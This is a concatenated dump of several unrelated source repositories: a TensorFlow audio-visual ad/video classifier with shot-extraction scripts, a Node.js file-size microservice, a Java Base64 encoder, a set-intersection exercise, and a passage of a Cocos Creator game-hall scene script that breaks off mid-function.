h_conv1 = tf.nn.relu(conv2d( x1, W_conv1) + b_conv1, "conv1") ## output size= 110x110x32
h_pool1 = max_pool_2x2(h_conv1) ## output= 55x55x32
# 2nd Convolutional Layer kernel dim= (3x3x16), #output channels= 20
W_conv2 = tf.Variable(tf.truncated_normal( [5, 5, 16, 10], stddev=0.03), name="w_conv2") ##
b_conv2 = tf.Variable(tf.constant(0.01, shape=[10]), name="b_conv2")
h_conv2 = tf.nn.relu(conv2d_st2(h_pool1, W_conv2) + b_conv2, "conv2") ## output size= 26x26x16
h_pool2 = max_pool_2x2(h_conv2) ## output= 13x13x20
# 3rd Convolutional Layer kernel dim= (3x3x20), #output channels= 32
W_conv3 = tf.Variable(tf.truncated_normal( [3, 3, 10, 10], stddev=0.03), name="w_conv3") ##
b_conv3 = tf.Variable(tf.constant(0.01, shape=[10]), name="b_conv3")
h_conv3 = tf.nn.relu(conv2d_st2(h_pool2, W_conv3) + b_conv3, "conv3") ## output size= 6x6x10
h_pool3 = max_pool_2x2(h_conv3) ## output= 3x3x10
# 1st fully connected layer. flatten last convolutional output, 50-dim
W_fc1 = tf.Variable(tf.truncated_normal( [3*3*10, 20], stddev=0.03), name="W_fc1") ##
b_fc1 = tf.Variable(tf.constant(0.01, shape=[20]), name="b_fc1")
h_pool3_flat = tf.reshape(h_pool3, [-1, 3*3*10])
h_fc1 = tf.nn.relu(tf.matmul(h_pool3_flat, W_fc1) + b_fc1, "fc1")
################### audio features processing
W_fc1_aud = tf.Variable(tf.truncated_normal( [200, 20], stddev=0.03), name="W_fc1_aud") ##
b_fc1_aud = tf.Variable(tf.constant(0.01, shape=[20]), name="b_fc1_aud")
h_fc1_aud = tf.nn.relu(tf.matmul( x2, W_fc1_aud) + b_fc1_aud, "aud_fc1")
################### fusing visual and audio information by concatenating them
# add dropout after fully connected layer
fused_video_audio= tf.concat([ h_fc1, h_fc1_aud], 1, "fused_feature")
h_fc1_drop = tf.nn.dropout( fused_video_audio, keep_prob )
# 2nd fully connected layer: output are the class probabilities
W_fc2 = tf.Variable(tf.truncated_normal( [40, num_classes], stddev=0.03), name="W_fc2")
b_fc2 = tf.Variable(tf.constant(0.01, shape=[num_classes]), name="b_fc2")
y_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2, name="y_conv") ## predicted class proabilities: label
#### defining loss function and optimization
regularizers = tf.nn.l2_loss(W_fc1) + tf.nn.l2_loss(b_fc1)+ tf.nn.l2_loss(W_fc2) + tf.nn.l2_loss(b_fc2)
cross_entropy = tf.reduce_mean(-tf.reduce_sum( y*tf.log(tf.clip_by_value(y_conv,1e-10,1.0)) ))
#cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=y_conv, labels=y))
cross_entropy = cross_entropy+ 1e-4*regularizers
optimizer = tf.train.AdamOptimizer(learning_rate= learning_rate).minimize(cross_entropy)
#optimizer = tf.train.GradientDescentOptimizer(learn_rate).minimize(cross_entropy)
correct_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y,1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name="accuracy")
################### precision recall computation
y_gr_1D= tf.argmax( y,axis=1) ## 0 denotes ads, and 1 denotes videos
y_pr_1D= tf.argmax( y_conv, axis=1) ## 0 denotes ads, 1 denotes videos
y_gr_1D= tf.cast( 1-y_gr_1D, tf.int64) ## 1 denotes ads, and 0 denotes videos
y_pr_1D= tf.cast( 1-y_pr_1D, tf.int64) ## 1 denotes ads, and 0 denotes videos
TP= tf.count_nonzero( y_gr_1D*y_pr_1D)
TN= tf.count_nonzero( (1-y_gr_1D)*(1-y_pr_1D) )
FP= tf.count_nonzero( (1-y_gr_1D)*y_pr_1D ) ##
FN= tf.count_nonzero( y_gr_1D*(1-y_pr_1D) )
#prec = tf.divide( TP, TP+FP, name="precision")
#recall = tf.divide( TP, TP+FN, name="recall")
#f1 = tf.divide( 2*prec*recall, prec+recall, name="F1_score")
#acc_avg= tf.divide( (TP+TN), (TP+TN+FP+FN), name="acc_avg")
prec = (TP)/(TP+FP)
recall= TP/(TP+FN)
f1= 2*prec*recall/(prec+recall)
acc_avg= (TP+TN)/(TP+TN+FP+FN)
################################### Initializing the variables
init = tf.global_variables_initializer()
display_step= 20
pool_size= 10
curr_test_label= np.zeros( (pool_size, num_classes) )
model_path= "./tmp/model.ckpt"
min_f1= 0.9
highest_rate_epoch= 0
saver= tf.train.Saver()
with tf.Session() as sess:
sess.run(init)
for ep_num in range(num_epoch):
print("\n")
shuffled_ind3= np.random.permutation( X1_train.shape[0])
if ep_num==0:
learn_rate= 0.0003 ##
elif ep_num>= 10 and learn_rate> 0.00001:
learn_rate= learn_rate*0.9
else:
learn_rate= learn_rate
inner_iter= 0
for j in range(num_batches):
#for j in range(40):
batch_x1 = X1_train[ shuffled_ind3[j*batch_size:(j+1)*batch_size], :, :, :]
batch_x2 = X2_train[ shuffled_ind3[j*batch_size:(j+1)*batch_size], :]
batch_y = Y_train[ shuffled_ind3[j*batch_size:(j+1)*batch_size], :]
# Run optimization op (backprop)
sess.run(optimizer, feed_dict={x1: batch_x1, x2: batch_x2, y: batch_y, learning_rate: learn_rate, keep_prob: 0.5 })
if (j+1) % display_step == 0:
# Calculate batch loss and accuracy
loss, acc = sess.run([cross_entropy, accuracy], feed_dict={x1: batch_x1, x2: batch_x2,
y: batch_y,
keep_prob: 1.})
print( str( ep_num+1)+"-th Epoch, " + str(j+1) + "-th Batch,"+ " Ent_Loss= " + \
"{:.3f}".format(loss) + ", Train Acc= " + \
"{:.3f}".format(acc))
my_acc, my_prec, my_recall, my_f1 = sess.run([acc_avg, prec, recall, f1], feed_dict={x1: X1_test[:2000,:,:,:], x2: X2_test[:2000,:,],
y: Y_test[:2000,:], keep_prob: 1.})
print("Test accuracy, precision, recall and F1= (%.3f,%.3f,%.3f,%.3f)\n" %(my_acc, my_prec, my_recall, my_f1) )
test_acc_epoch[5*ep_num+inner_iter]= my_acc
test_pre_epoch[5*ep_num+inner_iter]= my_prec
test_rec_epoch[5*ep_num+inner_iter]= my_recall
test_f1s_epoch[5*ep_num+inner_iter]= my_f1
train_acc1= sess.run( accuracy, feed_dict={x1: X1_train1[:2000,:,:,:], x2: X2_train1[:2000,:],
y: Y_train1[:2000,:], keep_prob: 1.})
train_acc_epoch[5*ep_num+inner_iter]= train_acc1
inner_iter= inner_iter+1
####################### saving the model with highest accuracy
if my_f1> min_f1:
min_f1= my_f1
#save_path= saver.save(sess, 'my_test_model30', global_step= 10)
print("model saved at epoch %d!" %(ep_num+1) )
highest_rate_epoch= ep_num
if ep_num%10==0:
for k in range(pool_size):
curr_test_label[ k,:]= y_conv.eval( session=sess, feed_dict={ x1: np.reshape(X1_test[k,:,:,:],[1,X1_test.shape[1], X1_test.shape[2], X1_test.shape[3]]), x2: np.reshape(X2_test[k,:],[ 1,X2_test.shape[1] ]), keep_prob: 1 } )
curr_test_label[ k,:]= np.round(curr_test_label[ k,:],decimals=3)
print(k,"-th label probability=", curr_test_label[ k,:])
print("\nOptimization Finished!")
# Calculate accuracy for test images
print("Final Test Accuracy:", sess.run(accuracy, feed_dict={x1: X1_test[:,:,:,:], x2: X2_test[:,:], y: Y_test[:,:], keep_prob: 1.}))
pred_test_label= y_conv.eval( session=sess, feed_dict={x1: X1_test[:,:,:,:], x2: X2_test[:,:], keep_prob: 1.} )
end_time= time.time()
print("program time=", end_time-init_time)
pickle.dump( train_acc_epoch, open( "train_acc_100epoch_3Lcnn_mfcc.p", "wb" ), protocol= 2 )
pickle.dump( test_acc_epoch, open( "test_acc_100epoch_3Lcnn_mfcc.p", "wb" ), protocol= 2 )
pickle.dump( test_pre_epoch, open( "test_pre_100epoch_3Lcnn_mfcc.p", "wb" ), protocol= 2 )
pickle.dump( test_rec_epoch, open( "test_rec_100epoch_3Lcnn_mfcc.p", "wb" ), protocol= 2 )
pickle.dump( test_f1s_epoch, open( "test_f1s_100epoch_3Lcnn_mfcc.p", "wb" ), protocol= 2 )
<file_sep>/AudioShot_extractor.py
#### <NAME>, summer 2017
#### videos audio extraction
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import sys
import librosa
import numpy as np
import pickle, time, cv2, glob, h5py
import subprocess as sp
import skvideo.io ## http://www.scikit-video.org/stable/examples/io.html#ioexamplevideo
import matplotlib.pyplot as plt
import os.path
import moviepy.editor as mp
start_time= time.time()
sys.path.append("/home/shervin/Sherv_Files/New Dataset/video")
################## Audio mfcc feature extraction, 10 shots per video is used.
################## if there are less than 10 shots, the last one is repeated
file_name= sorted(glob.glob("/home/shervin/Sherv_Files/New Dataset/video/*.mp4"), key=os.path.getsize)
####################################### Loop over videos
previous_shot_mfcc= np.zeros([200,])
Vid_mfcc= list()
num_ad_audioshot= 0 ###
not_available_info= list()
for video_ind in range( 0, len(file_name)): ## defected videos
#for video_ind in range( 0, 10):
print("%d-th video beong processed" %(video_ind))
cur_video_name= mp4_files[video_ind]
cur_video= skvideo.io.vread(cur_video_name)
cur_audio, cur_sr= librosa.load(cur_video_name)
cur_num_frame= cur_video.shape[0]
cur_shot_name= cur_video_name[:-4]+'_shots.txt'
#if os.path.isfile(cur_shot_name): ### if the shot-detection info is available
if 2>1:
line = list(open(cur_shot_name, 'r'))
if len(line)>= 10: ### if more than 11 shots, get the last 10 shots
start_shot_ind= len(line)-10
frame_range= list( range( start_shot_ind, len(line)) )
else:
frame_range= list( range( 0, len(line)) )
for extra_ind in range(10-len(line)):
frame_range.append( len(line)-1)
for shot_ind in frame_range:
cur_line= line[shot_ind]
cur_line_list= cur_line.split()
first_frame= int( cur_line_list[0] )
last_frame = int( cur_line_list[1] )
mid_frame = int( cur_line_list[3] )
if (last_frame-first_frame)>=5:
cur_audioshot_first_ind= int( np.floor(first_frame*len(cur_audio)/cur_num_frame ) )
cur_audioshot_last_ind = int( np.floor(last_frame *len(cur_audio)/cur_num_frame ) )
cur_audioshot= cur_audio[cur_audioshot_first_ind:cur_audioshot_last_ind]
new_rate= 5000*cur_sr/len(cur_audioshot)
cur_audioshot_resampled = librosa.resample(cur_audioshot, cur_sr, new_rate)
cur_audioshot_mfcc= librosa.feature.mfcc(y=cur_audioshot_resampled, sr= new_rate, n_mfcc=20)
print("current mfcc dimension=", cur_audioshot_mfcc.shape )
cur_audioshot_mfcc_reshaped= np.reshape( cur_audioshot_mfcc, [cur_audioshot_mfcc.shape[0]*cur_audioshot_mfcc.shape[1],])
Vid_mfcc.append(cur_audioshot_mfcc_reshaped)
num_ad_audioshot= num_ad_audioshot+1
previous_shot_mfcc= cur_audioshot_mfcc_reshaped
else:
print("less than 5 frames in this shot!")
Vid_mfcc.append(previous_shot_mfcc)
else:
print("not available video name!")
not_available_info.append(video_ind)
pickle.dump( Vid_mfcc, open( "Vid500_10shots_mfcc.p", "wb" ), protocol= 2 )
#pickle.dump( Vid_mfcc, open( "Vid500_10shots_mfcc.p", "wb" ), protocol= pickle.HIGHEST_PROTOCOL )
tot_time= time.time()
print("program time:", tot_time-start_time)
<file_sep>/VideoShot_extractor.py
#### Shot-extractor from new vide dataset. Movies, serials, News, Sport matches, Documentaries
import numpy as np
import pickle, time, cv2, sys, glob, os
import subprocess as sp
import skvideo.io ## http://www.scikit-video.org/stable/examples/io.html#ioexamplevideo
import pylab
import imageio
import librosa
sys.path.append("/home/shervin/Sherv_Files/New Dataset/video")
st_time= time.time()
file_name= sorted(glob.glob("/home/shervin/Sherv_Files/New Dataset/video/*.mp4"), key=os.path.getsize)
Vid_keyframes= list()
num_ad_keyframes= 0 ### 2521*5 shots for these 101 ads
num_shots= 0
for video_ind in range(len(file_name)): ##
print("%d-th video" %(video_ind))
cur_video_name= file_name[video_ind]
cur_shot_name= cur_video_name[:-4]+'_shots.txt'
cur_video= skvideo.io.vread(cur_video_name)
cur_w= cur_video.shape[1]
cur_h= cur_video.shape[2]
line = list(open(cur_shot_name, 'r'))
max_shot= 10
if len(line)>= max_shot: ### if more than 11 shots, get the last 10 shots
start_shot_ind= len(line)-max_shot
frame_range= list( range( 0, max_shot) )
else:
frame_range= list( range( 0, len(line)) )
for extra_ind in range(max_shot-len(line)):
frame_range.append( len(line)-1)
#print("range=", frame_range)
for shot_ind in frame_range:
#print("%d-th video and %d-th shot" %(video_ind,shot_ind))
cur_line= line[shot_ind]
cur_line_list= cur_line.split()
first_frame= int( cur_line_list[0] )
last_frame = int( cur_line_list[1] )
mid_frame = int( cur_line_list[3] )
cur_key_frame1= cur_video[ first_frame-1,:,:,:]
cur_key_frame2= cur_video[ mid_frame-1,:,:,:]
cur_key_frame3= cur_video[ last_frame-1,:,:,:]
num_shots= num_shots+1
#### center crop extraction
if cur_w>=cur_h:
start_pixel= int( np.floor( (cur_w - cur_h)/2 ) )
cur_crop1= cur_key_frame1[start_pixel:start_pixel+cur_h,:,:]
cur_crop2= cur_key_frame2[start_pixel:start_pixel+cur_h,:,:]
cur_crop3= cur_key_frame3[start_pixel:start_pixel+cur_h,:,:]
else:
start_pixel= int( np.floor( (cur_h - cur_w)/2 ) )
cur_crop1= cur_key_frame1[:,start_pixel:start_pixel+cur_w,:]
cur_crop2= cur_key_frame2[:,start_pixel:start_pixel+cur_w,:]
cur_crop3= cur_key_frame3[:,start_pixel:start_pixel+cur_w,:]
cur_crop_resized1= cv2.resize(cur_crop1, (112, 112))
cur_crop_resized2= cv2.resize(cur_crop2, (112, 112))
cur_crop_resized3= cv2.resize(cur_crop3, (112, 112))
Vid_keyframes.append(cur_crop_resized1)
Vid_keyframes.append(cur_crop_resized2)
Vid_keyframes.append(cur_crop_resized3)
num_ad_keyframes= num_ad_keyframes+3
pickle.dump( Vid_keyframes, open( "Vid500_10shots_3keyframes.p", "wb" ), protocol= 2 )
#pickle.dump( Ads_keyframes, open( "Ads_keyframes1.p", "wb" ), protocol= pickle.HIGHEST_PROTOCOL )
end_time= time.time()
tot_time= end_time - st_time
print("total time=", tot_time)
| 3a83df01ae5cf96f32ec26e5a4894b6a26165eea | [
"Markdown",
"Python"
] | 4 | Markdown | albertaparicio/Deep-Audio-Visual-Convolutional-Network | 53894389082b76ce86d4b4b2a9f35100dfb284d5 | f8cd6f68ae0d3d3b53ea023a8e8e9ace9886f9a1 |
refs/heads/master | <repo_name>lexyblazy/file-metadata-microservice<file_sep>/README.md
# file-metadata-microservice
Freecodecamp file metada microservice
<file_sep>/app.js
const express = require('express');
const app = express();
const multer = require('multer');
const path = require('path');
const viewsPath = path.join(__dirname,'views');
const port = process.env.PORT || 3000
const multerOptions = {
storage: multer.memoryStorage(),
fileFilter(req,file,next){
if(file){
next(null,true);
}else{
return Error('You must supply a file');
}
}
}
app.set('views',viewsPath);
app.set('view engine','ejs');
const upload = multer(multerOptions).single('file');
app.get('/',(req,res)=>{
res.render('home',{title:"Home"})
})
app.post('/',upload,async (req,res)=>{
console.log(req.file.size);
res.json({file_size:`${req.file.size} bytes`});
})
app.listen(port,()=>{
console.log("Server is up and running")
}) | af4486e5838953bd3e53d58d7c0edf80e6d48c7e | [
"Markdown",
"JavaScript"
] | 2 | Markdown | lexyblazy/file-metadata-microservice | 64c91a785076bcb29d33e35201a9208fe449ed24 | fd826f3aa253b94ae1687fcc7579bc139d904ab6 |
refs/heads/main | <repo_name>riccardorolla/file2base64<file_sep>/src/main/java/it/radcrawler/file2base64/File2Base64.java
package it.radcrawler.file2base64;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.FileUtils;
public class File2Base64 {
public static void main(String[] args) {
File file = new File(args[0]);
byte[] encoded;
try {
encoded = Base64.encodeBase64(FileUtils.readFileToByteArray(file));
System.out.println(new String(encoded, StandardCharsets.US_ASCII));
} catch (IOException ex) {
System.err.println("exception:"+ex.getMessage());
}
}
}
| 619a50b6cfc1d8e3fed8e6221daae05ee5fc58f9 | [
"Java"
] | 1 | Java | riccardorolla/file2base64 | b5306b16af4e36b398480d9655cfad2520bec6bd | 624a94642a98729150af630d47fdac92fac3d725 |
refs/heads/master | <repo_name>Women-Who-Code-Mumbai/InterviewPrep<file_sep>/SetIntersection/sets.js
/*
* Given a two dimensional array, find the set intersection of all the sub arrays
*/
let input = [
[1, 2, 8, 9],
[2, 4],
[8, 2],
[1, 7, 2]
];
// Find the index of the sub array containing the least number of elements
const findSmallestIndex = input => {
let smallestIndex = -1;
let smallestLength = 99999;
for (let i = 0; i < input.length; i++) {
let subarray = input[i];
if (subarray.size < smallestLength) {
smallestLength = subarray.size;
smallestIndex = i;
}
}
return smallestIndex;
};
// convert the list of arrays to list of sets to remove duplicate items
const convertArrayToSets = () => {
input = input.map(subarray => {
return new Set(subarray);
});
};
convertArrayToSets();
const smallestIndex = findSmallestIndex(input);
// copy the contents of the smallest set to a new result set
let resultSet = new Set(input[smallestIndex]);
// iterate over all the sub arrays
for (let i = 0; i < input.length - 1; i++) {
const selectedSubset = input[i];
//for each element in the result set, check if the sub set contains that element
//if not, remove that element from the result set
for (let element of resultSet) {
if (!selectedSubset.has(element)) {
resultSet.delete(element);
continue;
}
}
}
console.log("result: ", resultSet);
// output -
// result: Set { 2 }
<file_sep>/README.md
# InterviewPrep
This project compiles problems and solutions from our series on interview prep.
| 0e21cdd10558ec39a6bc7f63bfeb2d554fb0989d | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | Women-Who-Code-Mumbai/InterviewPrep | 4bf19e82a6cf1eefd3bf7dcfa3b450931e480729 | cb1018898cba4f9bb05aba5e882bcded97de38f7 |
refs/heads/master | <repo_name>tanlangtao/allGameApp<file_sep>/assets/common/script/hall/hallScene.js
/*
* @Author: burt
* @Date: 2019-07-27 14:58:41
* @LastEditors: burt
* @LastEditTime: 2019-09-19 13:55:56
* @Description: 大厅场景
*/
let gHandler = require("gHandler");
let hqqAudioMgr = require("hqqAudioMgr");
let hallWebSocket = require("hallWebSocket");
cc.Class({
extends: cc.Component,
properties: {
headimg: cc.Sprite, // 玩家头像
namelabel: cc.Label, // 玩家昵称
coinlabel: cc.Label, // 玩家金币
topbubble: cc.Node, // 你有新消息
chatbtn: cc.Node, // 聊天按钮
duihuanbtn: cc.Node, // 兑换按钮
huodongbtn: cc.Node, // 活动按钮
pageview: cc.PageView, // 活动页面
itembtn: cc.Node, // 子游戏按钮
subgameview: cc.ScrollView, // 子游戏按钮缓动面板
web: cc.WebView, // 网页
},
/** 脚本组件初始化,可以操作this.node // use this for initialization */
onLoad() {
this.topbubble.active = false;
if (cc.sys.isBrowser) {
this.browserDeal();
}
if (gHandler.gameGlobal.isdev) {
let hqqBase64 = require("hqqBase64");
gHandler.base64 = hqqBase64;
let hqqEvent = require("hqqEvent");
gHandler.eventMgr = hqqEvent.init();
let hqqCommonTools = require("hqqCommonTools");
gHandler.commonTools = hqqCommonTools;
let hqqLogMgr = require("hqqLogMgr");
gHandler.logMgr = hqqLogMgr.init();
let hqqLocalStorage = require("hqqLocalStorage");
gHandler.localStorage = hqqLocalStorage.init();
let hqqHttp = require("hqqHttp");
gHandler.http = hqqHttp;
}
gHandler.audioMgr = hqqAudioMgr.init(gHandler.hallResManager);
gHandler.audioMgr.playBg("hallbg");
this.subGameBtnMap = {};
this.subGameBtnArr = [];
this.addSubgame();
this.scheduleOnce(() => {
this.checkSubModule();
}, 0)
this.isupdating = false;
},
/** enabled和active属性从false变为true时 */
// onEnable() { },
/** 通常用于初始化中间状态操作 */
start() {
this.namelabel.string = gHandler.gameGlobal.player.account_name;
this.coinlabel.string = gHandler.gameGlobal.player.gold;
gHandler.commonTools.setDefaultHead(this.headimg);
if (!gHandler.gameGlobal.isdev) {
gHandler.hallWebSocket = new hallWebSocket();
gHandler.hallWebSocket.init();
gHandler.hallWebSocket.register("/Game/login/login", "hallScene", this.onReceiveLogin.bind(this))
let url = gHandler.appGlobal.server + "/Game/login/login";
if (cc.sys.isBrowser) {
url = "ws://" + url;
}
gHandler.hallWebSocket.connect(url);
}
gHandler.eventMgr.register("isupdataCallback", "hallScene", this.isupdataCallback.bind(this))
gHandler.eventMgr.register("failCallback", "hallScene", this.failCallback.bind(this))
gHandler.eventMgr.register("progressCallback", "hallScene", this.progressCallback.bind(this))
gHandler.eventMgr.register("finishCallback", "hallScene", this.finishCallback.bind(this))
},
/** 登陆 */
onReceiveLogin(msg) {
console.log("大厅登陆收到回调", msg.token)
gHandler.gameGlobal.token = msg.token
},
/** 子模块更新检查 im,充提 */
checkSubModule() {
// todo 检查子模块
this.chatbtn.getChildByName("redpoint").active = false;
this.duihuanbtn.getChildByName("redpoint").active = false;
this.huodongbtn.getChildByName("redpoint").active = false;
if (!gHandler.gameGlobal.isdev) {
if (gHandler.gameGlobal.im_host == "") {
let callback = (url) => {
console.log("最快的im地址", url)
gHandler.gameGlobal.im_host = url;
}
gHandler.http.requestFastestUrl(gHandler.appGlobal.remoteSeverinfo.im_host, null, "/checked", callback)
}
}
},
/** 子游戏初始化 */
addSubgame() {
this.subgameview.content.width = Math.ceil(Object.getOwnPropertyNames(gHandler.gameConfig.gamelist).length / 2) * (this.itembtn.width + 5) + this.pageview.node.width + 15;
for (let key in gHandler.gameConfig.gamelist) {
let i = gHandler.gameConfig.gamelist[key].hallid;
let tempdata = gHandler.commonTools.jsonCopy(gHandler.gameConfig.gamelist[key]);
let itembtn = cc.instantiate(this.itembtn);
itembtn.x = Math.floor(i / 2) * (this.itembtn.width + 5) + this.itembtn.width / 2 + 15 + this.pageview.node.width;
itembtn.y = -i % 2 * this.itembtn.height - this.itembtn.height * 0.5 - 20;
itembtn.active = true;
this.subgameview.content.addChild(itembtn);
let namelabel = itembtn.getChildByName("nameimg").getComponent(cc.Sprite);
namelabel.spriteFrame = gHandler.hallResManager.getHallBtnImg(tempdata.resid);
let ani = itembtn.getChildByName("ani").getComponent('sp.Skeleton');
ani.skeletonData = gHandler.hallResManager.getHallBtnAni(tempdata.resid);
ani.animation = "animation";
itembtn.getChildByName("wait").active = false;
itembtn.getChildByName("experience").active = false;
this.subGameBtnMap[tempdata.enname] = itembtn;
this.subGameBtnArr.push(itembtn);
tempdata.itembtn = itembtn;
if (cc.sys.isNative && !gHandler.gameGlobal.isdev) {
this.checkSubGameDownload(tempdata);
} else {
let downflag = tempdata.itembtn.getChildByName("downFlag");
let progress = tempdata.itembtn.getChildByName("progress");
var clickEventHandler = new cc.Component.EventHandler();
clickEventHandler.target = this.node;
clickEventHandler.component = "hallScene";
clickEventHandler.customEventData = tempdata;
downflag.active = false;
progress.active = false;
clickEventHandler.handler = "onClickSubgame";
let button = tempdata.itembtn.getComponent(cc.Button);
button.clickEvents.push(clickEventHandler);
}
}
this.scheduleOnce(() => {
this.subGameBtnEffect()
}, 0.5)
},
/** 初始化后的按钮特效 */
subGameBtnEffect() {
// console.log("初始化后的按钮特效")
for (let i = 0; i < this.subGameBtnArr.length; i += 2) {
this.subGameBtnArr[i] && this.subGameBtnArr[i].runAction(cc.sequence(cc.delayTime(i * 0.02), cc.scaleTo(0.1, 1.03), cc.scaleTo(0.1, 1)))
this.subGameBtnArr[i + 1] && this.subGameBtnArr[i + 1].runAction(cc.sequence(cc.delayTime(i * 0.02), cc.scaleTo(0.1, 1.03), cc.scaleTo(0.1, 1)))
}
},
/** web端需要做的处理 */
browserDeal() {
let url = window.location.search;
if (url.indexOf("?") != -1) {
// var str = url.substr(1);
// let strs = str.split("&")
let strs = url.split("?")[1].split("&");
for (let i = 0; i < strs.length; i++) {
// let temp = unescape(strs[i].split("=")[1])
let temp = strs[i].split("=")[1];
console.log(temp)
}
}
},
/** 根据id获取服务器子游戏信息 */
getRemoteSubgame(game_id) {
if (!gHandler.appGlobal || !gHandler.appGlobal.remoteGamelist) {
return
}
let remotedata = gHandler.appGlobal.remoteGamelist[0];
for (let i = 0; i < gHandler.appGlobal.remoteGamelist.length; i++) {
if (game_id === gHandler.appGlobal.remoteGamelist[i].game_id) {
remotedata = gHandler.appGlobal.remoteGamelist[i];
break;
}
}
return remotedata;
},
/** 判断子游戏是否下载更新等 */
checkSubGameDownload(data) {
let downflag = data.itembtn.getChildByName("downFlag");
let progress = data.itembtn.getChildByName("progress");
let clickEventHandler = new cc.Component.EventHandler();
clickEventHandler.target = this.node;
clickEventHandler.component = "hallScene";
clickEventHandler.customEventData = data;
let subgamev = this.getRemoteSubgame(data.game_id).version;
let localsubv = gHandler.localStorage.get(data.enname, "versionKey");
let needup = false
if (!localsubv) {
needup = true;
} else {
// let vA = subgamev.split('.');
// let vB = localsubv.split('.');
// for (let i = 0; i < vA.length; ++i) {
// let a = parseInt(vA[i]);
// let b = parseInt(vB[i] || 0);
// if (a != b) {
// needup = true;
// break;
// }
// }
// if (vB.length != vA.length) {
// needup = true;
// }
}
// let txt = "local version: " + localsubv + " | remote version:" + subgamev;
if (needup) {
// console.log(txt + " | subgame : " + data.enname + " need update");
downflag.active = true;
progress.active = true;
clickEventHandler.handler = "downloadSubGame";
} else {
// console.log(txt + " | subgame : " + data.enname + " not need update")
downflag.active = false;
progress.active = false;
clickEventHandler.handler = "onClickSubgame";
!gHandler.gameGlobal.isdev && cc.loader.downloader.loadSubpackage(data.enname, function (err) {
if (err) {
return console.error(err);
}
console.log('load subpackage script successfully.');
});
}
let button = data.itembtn.getComponent(cc.Button);
button.clickEvents.push(clickEventHandler);
},
/** 创建子游戏账号 */
createSubAccount(subgameconfig, mcallback, custom) {
if (subgameconfig.hasAccount) {
console.log("已经有账号了")
mcallback && mcallback(custom);
return
}
let subdata = gHandler.appGlobal.remoteGamelist[0]
for (let i = 0; i < gHandler.appGlobal.remoteGamelist.length; i++) {
if (subgameconfig.game_id == gHandler.appGlobal.remoteGamelist[i].game_id) {
subdata = gHandler.appGlobal.remoteGamelist[i]
break;
}
}
let callback = (data) => {
console.log("创建子游戏账号 callback", JSON.parse(data))
for (let k in gHandler.gameConfig.gamelist) {
gHandler.gameConfig.gamelist[k].hasAccount = true;
gHandler.localStorage.set(k, "hasAccount", true);
}
mcallback && mcallback(custom);
}
let outcallback = () => {
console.log("创建子游戏账号 超时")
}
let endurl = "/Game/User/createGameAccount";
let data = {
game_id: subdata.game_id,
package_id: subdata.package_id,
balance: gHandler.gameGlobal.player.gold,
id: gHandler.gameGlobal.player.id,
token: gHandler.gameGlobal.token,
}
gHandler.http.sendRequestIpPost(gHandler.appGlobal.server + endurl, data, callback, outcallback);
},
/** 下载子游戏 */
downloadSubGame(event, data) {
gHandler.logMgr.log("download or updata subgame", data.enname);
if (this.isupdating) {
console.log("正在更新中")
// todo 图片修改
// let progress = data.itembtn.getChildByName("progress")
// let jiantou = progress.getChildByName("jiantou")
// let zanting = progress.getChildByName("zanting")
// jiantou.active = !jiantou.active
// zanting.active = !jiantou.active
} else {
this.isupdating = true
}
if (!data.hasAccount && !gHandler.gameGlobal.isdev) {
this.createSubAccount(data)
}
let localsubv = gHandler.localStorage.get(data.enname, "versionKey") || null;
gHandler.hotUpdateMgr.checkUpdate({
subname: data.enname,
version: localsubv || "0.0.1",
})
},
isupdataCallback(bool) {
// console.log("isupdataCallback", bool)
if (bool) { // 需要更新
// 自动更新,无需处理
} else {
}
},
failCallback(enname) {
console.log("failCallback")
gHandler.logMgr.log("subgame", enname, "download fail");
},
progressCallback(progress, enname) {
// console.log("下载进度:", enname, progress)
if (isNaN(progress)) {
progress = 0;
}
let progressnode = this.subGameBtnMap[enname].getChildByName("progress");
let progressbar = progressnode.getComponent(cc.ProgressBar);
progressbar.progress = progress;
},
finishCallback(enname) {
console.log("finishCallback & change btn callback")
this.isupdating = false;
this.subGameBtnMap[enname].getChildByName("progress").active = false;
this.subGameBtnMap[enname].getChildByName("downFlag").active = false;;
this.subGameBtnMap[enname].getComponent(cc.Button).clickEvents[0].handler = "onClickSubgame";
!gHandler.gameGlobal.isdev && cc.loader.downloader.loadSubpackage(enname, function (err) {
if (err) {
return console.error(err);
}
console.log('load subpackage script successfully.');
});
},
/** 点击子游戏按钮统一回调 */
onClickSubgame(event, subgameconfig) {
console.log("jump to subgame", subgameconfig.enname)
let callback = function () {
gHandler.audioMgr.stopBg();
if (subgameconfig.enname == 'zrsx') { // 真人视讯 竖屏
gHandler.Reflect && gHandler.Reflect.setOrientation("portrait", 640, 1136)
}
cc.director.loadScene(subgameconfig.lanchscene);
}
if (gHandler.gameGlobal.isdev) {
callback()
} else if (subgameconfig.hasAccount) {
callback()
} else {
this.createSubAccount(subgameconfig, callback)
}
},
/** 复制名字 */
onClickCopyNameBtn() {
console.log("复制名字")
let text = this.namelabel.string;
gHandler.Reflect && gHandler.Reflect.setClipboard(text);
},
/** 充值 */
onClickChongZhiBtn() {
console.log("chongzhi")
if (!gHandler.gameGlobal.isdev) {
if (gHandler.gameGlobal.pay.pay_host == "") {
let callback = (url) => {
gHandler.gameGlobal.pay.pay_host = url;
if (gHandler.subModel.pay.lanchscene != "") {
cc.director.loadScene(gHandler.subModel.pay.lanchscene)
} else {
console.log("请配置充值场景")
}
}
gHandler.http.requestFastestUrl(gHandler.appGlobal.remoteSeverinfo.pay_host, null, "/checked", callback)
} else {
if (gHandler.subModel.pay.lanchscene != "") {
cc.director.loadScene(gHandler.subModel.pay.lanchscene)
} else {
console.log("请配置充值场景")
}
}
}
},
/** 全民代理 */
onClickQMDL() {
console.log("全民代理")
},
/** 公告 */
onClickGongGaoBtn() {
console.log("公告")
},
/** 设置 */
onClickSettingBtn() {
console.log("设置")
},
/** 聊天 */
onClickChatBtn() {
console.log("聊天")
},
/** 兑换 提现 */
onClickDuiHuanBtn() {
console.log("兑换")
if (!gHandler.gameGlobal.isdev) {
if (gHandler.gameGlobal.pay.pay_host == "") {
let callback = (url) => {
